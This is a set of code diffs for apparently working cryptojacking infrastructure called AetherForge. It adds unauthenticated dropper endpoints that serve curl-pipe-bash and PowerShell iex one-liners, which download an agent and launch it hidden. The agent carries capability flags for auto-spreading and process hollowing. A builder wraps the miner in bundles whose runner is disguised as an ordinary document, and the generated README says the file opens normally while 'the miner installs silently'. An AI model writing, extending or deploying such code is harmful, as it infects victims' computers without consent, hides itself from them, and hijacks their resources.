dst.Server.DashboardSubtitle = src.Server.DashboardSubtitle
}
if src.Server.SignCertThumbprint != "" {
dst.Server.SignCertThumbprint = src.Server.SignCertThumbprint
}
if src.Server.SignToolPath != "" {
dst.Server.SignToolPath = src.Server.SignToolPath
}
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
}
}
func (c *Config) Save() error { func (c *Config) Save() error {
configPath := filepath.Join(c.DataDir, "config.json") configPath := filepath.Join(c.DataDir, "config.json")
data, err := json.MarshalIndent(c, "", " ") data, err := json.MarshalIndent(c, "", " ")

View File

@@ -129,7 +129,7 @@ func (h *BlueprintHandler) saveBlueprint(w http.ResponseWriter, r *http.Request)
return return
} }
if err := os.WriteFile(filePath, formatted, 0644); err != nil { if err := os.WriteFile(filePath, formatted, 0600); err != nil {
http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError) http.Error(w, fmt.Sprintf(`{"error":"Failed to save: %s"}`, err.Error()), http.StatusInternalServerError)
return return
} }

View File

@@ -0,0 +1,202 @@
package api
import (
"fmt"
"net/http"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
// DropperHandler serves the one-liner remote-install endpoints:
//
// GET /get — auto-detect OS from User-Agent, serve latest binary
// GET /get?os=windows — explicit platform: windows | linux | darwin | universal
// GET /install.sh — bash one-liner installer (Linux / macOS)
// GET /install.ps1 — PowerShell one-liner installer (Windows)
type DropperHandler struct {
db *dbpkg.Database
publicURLFunc func() string
}
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
}
func (h *DropperHandler) publicURL() string {
if h.publicURLFunc != nil {
if u := h.publicURLFunc(); u != "" {
return strings.TrimRight(u, "/")
}
}
return ""
}
// detectPlatform picks the right build platform from an explicit query param or
// the User-Agent header. Returns one of: windows, linux, darwin, universal.
func detectPlatform(r *http.Request) string {
if p := r.URL.Query().Get("os"); p != "" {
switch strings.ToLower(p) {
case "windows", "win":
return "windows"
case "linux":
return "linux"
case "darwin", "mac", "macos":
return "darwin"
case "universal", "any":
return "universal"
}
}
ua := strings.ToLower(r.Header.Get("User-Agent"))
switch {
case strings.Contains(ua, "windows"):
return "windows"
case strings.Contains(ua, "darwin") || strings.Contains(ua, "mac"):
return "darwin"
case strings.Contains(ua, "linux"):
return "linux"
}
return "" // caller will fall back to latest build regardless of platform
}
// ServeGet handles GET /get — serves the latest agent binary for the detected platform.
func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
platform := detectPlatform(r)
// Try exact platform match, then fall back to universal, then any.
candidates := []string{platform, "universal", ""}
if platform == "" {
candidates = []string{"universal", ""}
}
var buildPath, buildName string
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath = b.FilePath
buildName = filepath.Base(b.FilePath)
break
}
}
if buildPath == "" {
http.Error(w, "No builds available — forge an agent first.", http.StatusNotFound)
return
}
w.Header().Set("Content-Disposition", fmt.Sprintf(`attachment; filename="%s"`, buildName))
w.Header().Set("Content-Type", "application/octet-stream")
http.ServeFile(w, r, buildPath)
}
// ServeSh handles GET /install.sh — returns a bash one-liner installer.
func (h *DropperHandler) ServeSh(w http.ResponseWriter, r *http.Request) {
base := h.publicURL()
if base == "" {
// Best-effort: derive from request
scheme := "http"
if r.TLS != nil {
scheme = "https"
}
base = scheme + "://" + r.Host
}
script := fmt.Sprintf(`#!/bin/sh
# AetherForge one-liner installer
# Usage: curl -sL %s/install.sh | bash
set -e
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
ARCH="$(uname -m)"
case "$ARCH" in
x86_64) ARCH="amd64" ;;
aarch64|arm64) ARCH="arm64" ;;
esac
TMPDIR="$(mktemp -d)"
DEST="$TMPDIR/worker"
echo "[*] Downloading agent for $OS/$ARCH..."
curl -sL -o "$DEST" "%s/get?os=$OS"
if file "$DEST" 2>/dev/null | grep -q "Zip"; then
echo "[*] Extracting universal bundle..."
unzip -q "$DEST" -d "$TMPDIR/bundle"
cd "$TMPDIR/bundle"
# Fusion ZIPs ship start.sh / Start.command; spread-kit ZIPs ship deploy.sh / Start.command
if [ "$OS" = "darwin" ]; then
for L in Start.command start.command; do
if [ -f "$L" ]; then chmod +x "$L" && exec "./$L"; fi
done
fi
for L in start.sh deploy.sh; do
if [ -f "$L" ]; then chmod +x "$L" && exec sh "$L"; fi
done
echo "[!] Could not find launcher in bundle"
exit 1
fi
chmod +x "$DEST"
echo "[*] Launching..."
nohup "$DEST" >/dev/null 2>&1 &
echo "[+] Agent started (pid $!)"
`, base, base)
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.sh"`)
fmt.Fprint(w, script)
}
// ServePs1 handles GET /install.ps1 — returns a PowerShell one-liner installer.
func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
base := h.publicURL()
if base == "" {
scheme := "http"
if r.TLS != nil {
scheme = "https"
}
base = scheme + "://" + r.Host
}
// PowerShell backticks would conflict with Go raw-string backticks; build the
// script as a regular string so we can escape them properly.
bt := "`" // backtick character
script := "# AetherForge one-liner installer\n" +
"# Usage: iex (irm '" + base + "/install.ps1')\n\n" +
"$ErrorActionPreference = 'Stop'\n" +
"$url = '" + base + "/get?os=windows'\n" +
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())\n\n" +
"Write-Host '[*] Downloading agent...'\n" +
"Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing\n\n" +
"$bytes = [System.IO.File]::ReadAllBytes($tmp)\n" +
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B\n\n" +
"if ($isZip) {\n" +
" Write-Host '[*] Extracting universal bundle...'\n" +
" $dir = $tmp + '_bundle'\n" +
" Add-Type -AssemblyName System.IO.Compression.FileSystem\n" +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)\n" +
// Fusion ZIPs have Start.bat; spread-kit ZIPs have Deploy.bat — try both.
" $bat = $null\n" +
" foreach ($name in @('Start.bat','Deploy.bat')) {\n" +
" $candidate = Join-Path $dir $name\n" +
" if (Test-Path $candidate) { $bat = $candidate; break }\n" +
" }\n" +
" if ($bat) {\n" +
" Write-Host '[*] Running launcher...'\n" +
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden\n" +
" } else {\n" +
" Write-Host '[!] Could not find launcher (Start.bat / Deploy.bat) in bundle'; exit 1\n" +
" }\n" +
"} else {\n" +
" $exe = $tmp + '.exe'\n" +
" Move-Item -Path $tmp -Destination $exe -Force\n" +
" Write-Host '[*] Launching...'\n" +
" Start-Process -FilePath $exe -WindowStyle Hidden\n" +
"}\n" +
"Write-Host '[+] Agent deployed.'\n"
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
fmt.Fprint(w, script)
}

View File

@@ -4,7 +4,6 @@ import (
"encoding/json" "encoding/json"
"net/http" "net/http"
"strconv" "strconv"
"time"
"crypto-miner-server/internal/alerts" "crypto-miner-server/internal/alerts"
"crypto-miner-server/internal/db" "crypto-miner-server/internal/db"
@@ -70,14 +69,10 @@ func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
} }
content := f.ws.GetAgentLog(id) content := f.ws.GetAgentLog(id)
if r.URL.Query().Get("refresh") == "1" { if r.URL.Query().Get("refresh") == "1" {
// Fire the get_log command and return immediately — the response arrives
// via the WebSocket command_result broadcast (fixes M18: no more 1.8s block).
// The dashboard will receive the log content via the commandResults queue.
_ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300}) _ = f.ws.SendAgentCommand(id, "get_log", map[string]interface{}{"tail_lines": 300})
for i := 0; i < 12; i++ {
time.Sleep(150 * time.Millisecond)
if c := f.ws.GetAgentLog(id); c != "" {
content = c
break
}
}
} }
writeJSON(w, map[string]interface{}{ writeJSON(w, map[string]interface{}{
"agent_id": id, "agent_id": id,

View File

@@ -50,7 +50,8 @@ func newTestRouter(t *testing.T) (http.Handler, string) {
_ = os.MkdirAll(webRoot, 0755) _ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, dataDir, nil), dataDir dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, dataDir, nil), dataDir
} }
func TestHealthIsPublic(t *testing.T) { func TestHealthIsPublic(t *testing.T) {

View File

@@ -58,9 +58,10 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
} }
path := r.URL.Path path := r.URL.Path
// Agent-facing API + health + forged worker downloads stay open for agents. // Agent-facing API + health + forged worker downloads + one-liner droppers stay open.
if strings.HasPrefix(path, "/api/v1/agent/") || if strings.HasPrefix(path, "/api/v1/agent/") ||
path == "/api/v1/health" || path == "/api/v1/health" ||
path == "/get" || path == "/install.sh" || path == "/install.ps1" ||
(strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) { (strings.HasPrefix(path, "/api/v1/builds/") && (strings.HasSuffix(path, "/download") || strings.Contains(path, "/artifact/"))) {
next.ServeHTTP(w, r) next.ServeHTTP(w, r)
return return
@@ -87,7 +88,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
}) })
} }
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler { func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, webRoot string, dataDir string, publicURLOverride func() string) http.Handler {
loadUsers(dataDir) loadUsers(dataDir)
r := chi.NewRouter() r := chi.NewRouter()
@@ -188,6 +189,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS) r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS) r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
// One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
r.Get("/install.ps1", dropperHandler.ServePs1)
}
// Serve frontend SPA // Serve frontend SPA
if webRoot != "" { if webRoot != "" {
// Check if webroot directory exists // Check if webroot directory exists

View File

@@ -42,14 +42,40 @@ func (c *AgentConnection) SendJSON(v interface{}) error {
return c.Conn.WriteJSON(v) return c.Conn.WriteJSON(v)
} }
// DashboardConn wraps a dashboard WebSocket with its own write mutex so
// broadcastDashboard and the ping loop never race on the same connection.
type DashboardConn struct {
Conn *websocket.Conn
mu sync.Mutex
}
func (d *DashboardConn) WriteMessage(messageType int, data []byte) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteMessage(messageType, data)
}
func (d *DashboardConn) WriteJSON(v interface{}) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteJSON(v)
}
func (d *DashboardConn) WriteControl(messageType int, data []byte, deadline time.Time) error {
d.mu.Lock()
defer d.mu.Unlock()
return d.Conn.WriteControl(messageType, data, deadline)
}
type WSHub struct { type WSHub struct {
db *db.Database db *db.Database
agents map[string]*AgentConnection agents map[string]*AgentConnection
dashboards map[string]*websocket.Conn dashboards map[string]*DashboardConn
poolManager *pool.Manager poolManager *pool.Manager
defaultPool pool.Config defaultPool pool.Config
aiHandler *AIHandler aiHandler *AIHandler
agentConfigs map[string]AgentForgeConfig agentConfigs map[string]AgentForgeConfig
agentCapabilities map[string]models.AgentCapabilities
agentLogs map[string]string agentLogs map[string]string
serverPolicy ServerPolicy serverPolicy ServerPolicy
pingIntervalSec int pingIntervalSec int
@@ -60,8 +86,9 @@ func NewWSHub(database *db.Database) *WSHub {
return &WSHub{ return &WSHub{
db: database, db: database,
agents: make(map[string]*AgentConnection), agents: make(map[string]*AgentConnection),
dashboards: make(map[string]*websocket.Conn), dashboards: make(map[string]*DashboardConn),
agentConfigs: make(map[string]AgentForgeConfig), agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string), agentLogs: make(map[string]string),
pingIntervalSec: 30, pingIntervalSec: 30,
} }
@@ -92,7 +119,7 @@ func (h *WSHub) pingInterval() time.Duration {
return time.Duration(sec) * time.Second return time.Duration(sec) * time.Second
} }
func (h *WSHub) runPingLoop(conn *websocket.Conn) { func (h *WSHub) runPingLoopRaw(conn *websocket.Conn) {
interval := h.pingInterval() interval := h.pingInterval()
ticker := time.NewTicker(interval) ticker := time.NewTicker(interval)
defer ticker.Stop() defer ticker.Stop()
@@ -109,6 +136,23 @@ func (h *WSHub) runPingLoop(conn *websocket.Conn) {
} }
} }
func (h *WSHub) runPingLoopDash(dc *DashboardConn) {
interval := h.pingInterval()
ticker := time.NewTicker(interval)
defer ticker.Stop()
_ = dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
dc.Conn.SetPongHandler(func(string) error {
return dc.Conn.SetReadDeadline(time.Now().Add(interval * 2))
})
for range ticker.C {
if err := dc.WriteControl(websocket.PingMessage, nil, time.Now().Add(10*time.Second)); err != nil {
return
}
}
}
func (h *WSHub) serverPolicySnapshot() ServerPolicy { func (h *WSHub) serverPolicySnapshot() ServerPolicy {
h.mu.RLock() h.mu.RLock()
defer h.mu.RUnlock() defer h.mu.RUnlock()
@@ -181,7 +225,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
return return
} }
go h.runPingLoop(conn) go h.runPingLoopRaw(conn)
agentID := "" agentID := ""
defer func() { defer func() {
@@ -240,6 +284,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIEnabled bool `json:"ai_enabled"` AIEnabled bool `json:"ai_enabled"`
AIOllamaEndpoint string `json:"ai_ollama_endpoint"` AIOllamaEndpoint string `json:"ai_ollama_endpoint"`
AIModel string `json:"ai_model"` AIModel string `json:"ai_model"`
HolePunch bool `json:"hole_punch"`
RemoteAggressive bool `json:"remote_aggressive"`
MeshP2P bool `json:"mesh_p2p"`
AutoSpread bool `json:"auto_spread"`
ProcessHollowing bool `json:"process_hollowing"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version"`
} }
if err := json.Unmarshal(msg.Payload, &auth); err != nil { if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{ conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -256,12 +308,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID) displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID)
policy := h.serverPolicySnapshot() policy := h.serverPolicySnapshot()
if policy.MaxAgents > 0 && !h.isAgentConnected(agentID) && h.connectedAgentCount() >= policy.MaxAgents {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
forgeCfg := AgentForgeConfig{ forgeCfg := AgentForgeConfig{
Wallet: auth.Wallet, Wallet: auth.Wallet,
@@ -274,8 +320,18 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
AIModel: auth.AIModel, AIModel: auth.AIModel,
} }
caps := models.AgentCapabilities{
HolePunch: auth.HolePunch,
RemoteAggressive: auth.RemoteAggressive,
MeshP2P: auth.MeshP2P,
AutoSpread: auth.AutoSpread,
ProcessHollowing: auth.ProcessHollowing && auth.Platform == "windows",
AIEnabled: auth.AIEnabled,
}
h.mu.Lock() h.mu.Lock()
h.agentConfigs[agentID] = forgeCfg h.agentConfigs[agentID] = forgeCfg
h.agentCapabilities[agentID] = caps
h.mu.Unlock() h.mu.Unlock()
if h.poolManager != nil { if h.poolManager != nil {
@@ -310,6 +366,10 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
CPUCores: auth.CPUCores, CPUCores: auth.CPUCores,
MemoryGB: auth.MemoryGB, MemoryGB: auth.MemoryGB,
LastSeen: time.Now(), LastSeen: time.Now(),
Platform: auth.Platform,
Arch: auth.Arch,
OSVersion: auth.OSVersion,
Capabilities: &caps,
} }
if err := h.db.UpsertAgent(agent); err != nil { if err := h.db.UpsertAgent(agent); err != nil {
@@ -324,7 +384,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP) log.Printf("[WS] Agent connected: id=%s name=%s ip=%s", agentID, displayName, clientIP)
} }
// MaxAgents check + registration in a single Lock to prevent TOCTOU (M17):
// two concurrent new agents could both pass the count check under RLock, then
// both get registered, overshooting the limit.
h.mu.Lock() h.mu.Lock()
if policy.MaxAgents > 0 {
_, alreadyConnected := h.agents[agentID]
if !alreadyConnected && len(h.agents) >= policy.MaxAgents {
h.mu.Unlock()
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": false, "error": "fleet agent limit reached",
})})
break
}
}
if old, ok := h.agents[agentID]; ok && old.Conn != conn { if old, ok := h.agents[agentID]; ok && old.Conn != conn {
oldConn := old.Conn oldConn := old.Conn
h.mu.Unlock() h.mu.Unlock()
@@ -536,9 +609,10 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
return return
} }
dc := &DashboardConn{Conn: conn}
dashID := uuid.New().String() dashID := uuid.New().String()
h.mu.Lock() h.mu.Lock()
h.dashboards[dashID] = conn h.dashboards[dashID] = dc
h.mu.Unlock() h.mu.Unlock()
defer func() { defer func() {
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
// Send initial data // Send initial data
agents, _ := h.db.ListAgents() agents, _ := h.db.ListAgents()
h.enrichAgentsCapabilities(agents)
stats, _ := h.db.GetFleetStats() stats, _ := h.db.GetFleetStats()
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{ _ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
"agents": agents, "agents": agents,
"stats": stats, "stats": stats,
})}) })})
go h.runPingLoop(conn) go h.runPingLoopDash(dc)
// Keep connection alive, read close messages // Keep connection alive, read close messages
for { for {
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
return return
} }
for id, conn := range h.dashboards { for id, dc := range h.dashboards {
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil { if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
log.Printf("Failed to send to dashboard %s: %v", id, err) log.Printf("Failed to send to dashboard %s: %v", id, err)
conn.Close() dc.Conn.Close()
id := id id := id
go func() { go func() {
h.mu.Lock() h.mu.Lock()
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)}) h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
} }
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
h.mu.RLock()
defer h.mu.RUnlock()
for _, a := range agents {
if a == nil {
continue
}
if caps, ok := h.agentCapabilities[a.ID]; ok {
c := caps
a.Capabilities = &c
}
}
}
func (h *WSHub) GetAgentLog(agentID string) string { func (h *WSHub) GetAgentLog(agentID string) string {
h.mu.RLock() h.mu.RLock()
defer h.mu.RUnlock() defer h.mu.RUnlock()

View File

@@ -0,0 +1,426 @@
package builder
import (
"fmt"
"log"
"net/http"
"os"
"path/filepath"
"strings"
"time"
"crypto-miner-server/internal/models"
"github.com/google/uuid"
)
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
buildID := uuid.New().String()
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
agentDir := filepath.Join(buildDir, "agent")
if err := os.MkdirAll(agentDir, 0755); err != nil {
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
}
if err := h.copyAgentSource(agentDir); err != nil {
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
}
platforms := platformsForRequest(req)
workerPaths := map[string]string{}
for _, p := range platforms {
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
workerPaths[p.Label()] = wp
}
if req.SpreadKit && !req.FusionEnabled {
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
if req.FusionEnabled {
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
}
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
}
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
if req.SpreadKit {
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
} else {
subdir = sanitizeFileName(req.WorkerName) + "-universal"
}
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
for _, p := range platforms {
src := workers[p.Label()]
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
destName := "worker" + p.Ext
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
}
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
zipName := subdir + "-package.zip"
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
primary := workers[platforms[0].Label()]
if w, ok := workers["windows-amd64"]; ok {
primary = w
}
zipSt, _ := os.Stat(zipPath)
zipBytes := int64(0)
if zipSt != nil {
zipBytes = zipSt.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes,
}); err != nil {
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
FileSize: zipBytes,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes,
FusionExportDir: outDir,
ExportPath: outDir,
}, http.StatusOK, primary
}
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
// Resolve payload display name (used for runner naming and ZIP title)
payloadBase := filepath.Base(prepPath)
title := strings.TrimSpace(req.FusionMediaBaseName)
if title == "" {
title = payloadBase
}
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
if titleBase == "" {
titleBase = "fusion"
}
subdir := fusionExportSubdir(req, title)
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
if err := os.MkdirAll(outDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
mode := normalizeFusionMediaMode(req.FusionMediaMode)
var fusionResults []*fusionBuildResult
var primaryPath string
for _, p := range platforms {
workerPath := workers[p.Label()]
platReq := *req
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
platReq.FusionOutputName = runnerNameForFile(title, p)
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
if err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
fusionResults = append(fusionResults, res)
destDir := filepath.Join(outDir, p.BinDir())
if err := os.MkdirAll(destDir, 0755); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
runnerName := filepath.Base(res.LauncherPath)
destRunner := filepath.Join(destDir, runnerName)
if err := copyFile(res.LauncherPath, destRunner); err != nil {
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
}
if p.GOOS == "windows" {
primaryPath = destRunner
}
if p.GOOS == "darwin" {
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
log.Printf("[Forge] darwin app bundle: %v", err)
}
}
}
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
if mode == "paired" && prepPath != "" {
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
_ = copyFile(prepPath, destPayload)
}
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
readme := fusionReadmeInfo{
Title: titleBase,
RunnerName: titleBase + "-runner",
MediaName: payloadBase,
PayloadKind: req.FusionPayloadKind,
MediaMode: mode,
}
windowsRunnerName := disguisedRunnerName(payloadBase)
unixRunnerName := sanitizeFileName(titleBase+"-runner")
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
"What happens when launched:\r\n" +
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
" 2. The miner installs silently and connects to your command deck\r\n"
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
zipName := fusionBundleZipName(subdir)
zipPath := filepath.Join(buildDir, zipName)
if err := zipDirectory(outDir, zipPath); err != nil {
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
}
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
if primaryPath == "" && len(fusionResults) > 0 {
primaryPath = fusionResults[0].LauncherPath
}
zipSt2, _ := os.Stat(zipPath)
zipBytes2 := int64(0)
if zipSt2 != nil {
zipBytes2 = zipSt2.Size()
}
if err := h.db.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
Platform: "universal", BundleSize: zipBytes2,
}); err != nil {
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
}
return BuildResponse{
Success: true,
BuildID: buildID,
FileName: zipName,
FilePath: zipPath,
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
FileSize: zipBytes2,
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
FusionEnabled: true,
FusionExportDir: outDir,
BundleFileName: zipName,
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
BundleSize: zipBytes2,
